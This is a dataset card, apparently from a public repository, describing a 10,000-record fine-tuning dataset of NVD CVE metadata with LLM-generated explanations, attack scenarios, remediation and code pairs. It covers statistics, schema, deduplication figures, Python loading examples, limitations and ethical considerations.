auren-research/cve-sft-v5

CVE SFT Dataset v5

CVE SFT Dataset v5 is a structured instruction-following dataset for fine-tuning language models on cybersecurity vulnerability analysis. Built by Auren Research, it combines authoritative vulnerability metadata from the NIST National Vulnerability Database (NVD) with five generated fields that teach models to explain, reason about, and remediate real-world CVEs — including side-by-side vulnerable vs. safe code examples.

Unlike most security datasets that provide only raw CVE descriptions and CVSS scores, this dataset trains models to produce structured, actionable security intelligence: attack scenarios, root cause analysis, and concrete remediation steps with validation.

---

Why This Dataset

Security-focused LLMs face a consistent gap: they can recite CVE descriptions but struggle to reason about exploitation paths, explain root causes to non-experts, or generate accurate remediation guidance. This dataset directly addresses that gap by providing:

• Plain-language explanations accessible to non-security audiences
• Technical deep dives covering root cause, impact, and attack context
• Attack scenarios structured as recon → execution → objective
• Remediation guidance with immediate fix + 3 additional mitigations + validation steps
• Vulnerable vs. safe code pairs — the most requested and rarest field in open security datasets

This dataset was built by a researcher with hands-on vulnerability research experience, including reported findings on HackerOne across blockchain and smart contract targets.

---

Dataset Statistics

Attribute	Value
Total records	10,000
Columns	12
Source (metadata)	NIST NVD
Source (generated fields)	LLM-generated, curated
Language	English
Format	Parquet
License	CC BY 4.0

Severity Distribution

Severity	CVSS Range	Count	Percentage
Critical	9.0 – 10.0	982	9.8%
High	7.0 – 8.9	3,735	37.4%
Medium	4.0 – 6.9	4,131	41.3%
Low	0.1 – 3.9	439	4.4%
No score	—	713	7.1%

Top 10 CWE Categories

Rank	CWE	Type	Count
1	CWE-79	Cross-Site Scripting (XSS)	913
2	CWE-Other	Miscellaneous	684
3	CWE-22	Path Traversal	381
4	CWE-862	Missing Authorization	344
5	CWE-89	SQL Injection	336
6	CWE-74	Injection (general)	320
7	CWE-416	Use-After-Free	304
8	CWE-918	Server-Side Request Forgery	272
9	CWE-77	Command Injection	240
10	CWE-20	Improper Input Validation	225

---

Dataset Schema

Column	Source	Description	Avg Length
cve_id	NVD	CVE identifier (e.g. CVE-2026-33980)	—
published_date	NVD	Publication date	—
cvss_score	NVD	CVSS score (0.0 – 10.0)	—
cvss_vector	NVD	Full CVSS vector string (e.g. AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)	—
cwe_id	NVD	Weakness category (e.g. CWE-79, CWE-89)	—
affected_software	NVD	Affected product/vendor	—
affected_versions	NVD	Vulnerable version range	—
plain_explanation	Generated	Accessible English explanation of the vulnerability	~697 chars
technical_deep_dive	Generated	Root cause + impact + technical context	~267 chars
attack_scenario	Generated	Structured attack path: recon → execution → objective	~271 chars
remediation	Generated	Immediate fix + 3 additional mitigations + validation	~433 chars
vulnerable_code_example	Generated	Side-by-side vulnerable and safe code in the affected language	~664 chars

---

Data Quality

Deduplication was performed on all generated fields. Results:

Field	Exact Duplicates	Rate	Grade
plain_explanation	0	0.0%	Excellent
remediation	4	0.0%	Excellent
attack_scenario	61	0.6%	Excellent
technical_deep_dive	160	1.6%	Good
vulnerable_code_example	182	1.8%	Good

The low duplication rates — particularly 0% on plain_explanation and near-zero on remediation — indicate the generated content is genuinely diverse and not template-collapsed.

---

Usage

from datasets import load_dataset
import pandas as pd

# Load via HuggingFace datasets
ds = load_dataset("auren-research/cve-sft-v5", split="train")

# Or load directly from parquet
df = pd.read_parquet("cve_sft_dataset_v5.parquet")

# Example: filter critical CVEs with code examples
critical = df[
    (df["cvss_score"] >= 9.0) &
    (df["vulnerable_code_example"].str.len() > 100)
]
print(f"Critical CVEs with code examples: {len(critical)}")

# Example: inspect a single record
row = df.iloc[0]
print(f"CVE: {row['cve_id']}")
print(f"CVSS: {row['cvss_score']} | CWE: {row['cwe_id']}")
print(f"\nPlain explanation:\n{row['plain_explanation']}")
print(f"\nAttack scenario:\n{row['attack_scenario']}")
print(f"\nRemediation:\n{row['remediation']}")

SFT Training Example

def format_for_sft(row):
    """Format a CVE record as an instruction-following example."""
    instruction = (
        f"Analyze the following vulnerability: {row['cve_id']}\n"
        f"Affected software: {row['affected_software']}\n"
        f"CVSS Score: {row['cvss_score']} | CWE: {row['cwe_id']}\n"
        f"CVSS Vector: {row['cvss_vector']}"
    )
    response = (
        f"## Plain Explanation\n{row['plain_explanation']}\n\n"
        f"## Technical Deep Dive\n{row['technical_deep_dive']}\n\n"
        f"## Attack Scenario\n{row['attack_scenario']}\n\n"
        f"## Remediation\n{row['remediation']}\n\n"
        f"## Code Example\n{row['vulnerable_code_example']}"
    )
    return {"instruction": instruction, "response": response}

df["formatted"] = df.apply(format_for_sft, axis=1)

---

Intended Use Cases

• Fine-tuning security-focused LLMs on structured vulnerability reasoning
• Training code security assistants using the vulnerable/safe code pairs
• Security education — teaching developers to recognize and fix common vulnerability patterns
• Red team tooling — grounding LLM-based recon and exploitation reasoning in real CVE data
• Benchmarking LLM security knowledge across CWE categories and severity levels
• RAG pipelines for security operations centers (SOC) and vulnerability management platforms

---

Limitations

• Generated fields are LLM-produced and have not been manually reviewed by security researchers for every record. A small number of records (~2%) may contain templated or lower-quality outputs in technical_deep_dive and vulnerable_code_example
• Code examples are illustrative and may not exactly reproduce the specific CVE's vulnerable codebase — they demonstrate the vulnerability class, not the exact affected code
• Attack scenarios are structured for educational purposes and intentionally omit weaponizable exploit details
• Coverage bias: the dataset reflects NVD publication patterns — CWE-79 (XSS) is heavily represented because it is the most commonly reported vulnerability class
• Version coverage: records use NVD data as of v5 build date — newer CVEs are not included

---

Ethical Considerations

This dataset is intended for defensive security use cases: training models that help developers write safer code, security teams triage vulnerabilities faster, and organizations understand their exposure.

The attack scenarios are structured at a conceptual level (recon → execution → objective) and do not include weaponized exploit code, working proof-of-concept payloads, or specific bypass techniques for active CVEs.

Users should not use this dataset to build tools that automate offensive exploitation of unpatched systems.

---

Citation

@dataset{auren2026cvesft,
  title   = {CVE SFT Dataset v5: Structured Vulnerability Intelligence for LLM Fine-Tuning},
  author  = {Francisco Antonio Da Costa Barroso},
  year    = {2026},
  publisher = {Auren Research},
  url     = {https://huggingface.co/datasets/auren-research/cve-sft-v5}
}

---

Related Work from Auren Research

• PII Shield — 3.1M+ multilingual PII detection examples across 6 languages
• Lunaris Guard — Dual-head multilingual safety classifier (ROC-AUC 0.979 on prompt injection)
• Lunaris MoC — Novel sparse Transformer architecture with mediator-based expert collaboration

---

Built by Francisco Antonio Da Costa Barroso · Auren Research · 2026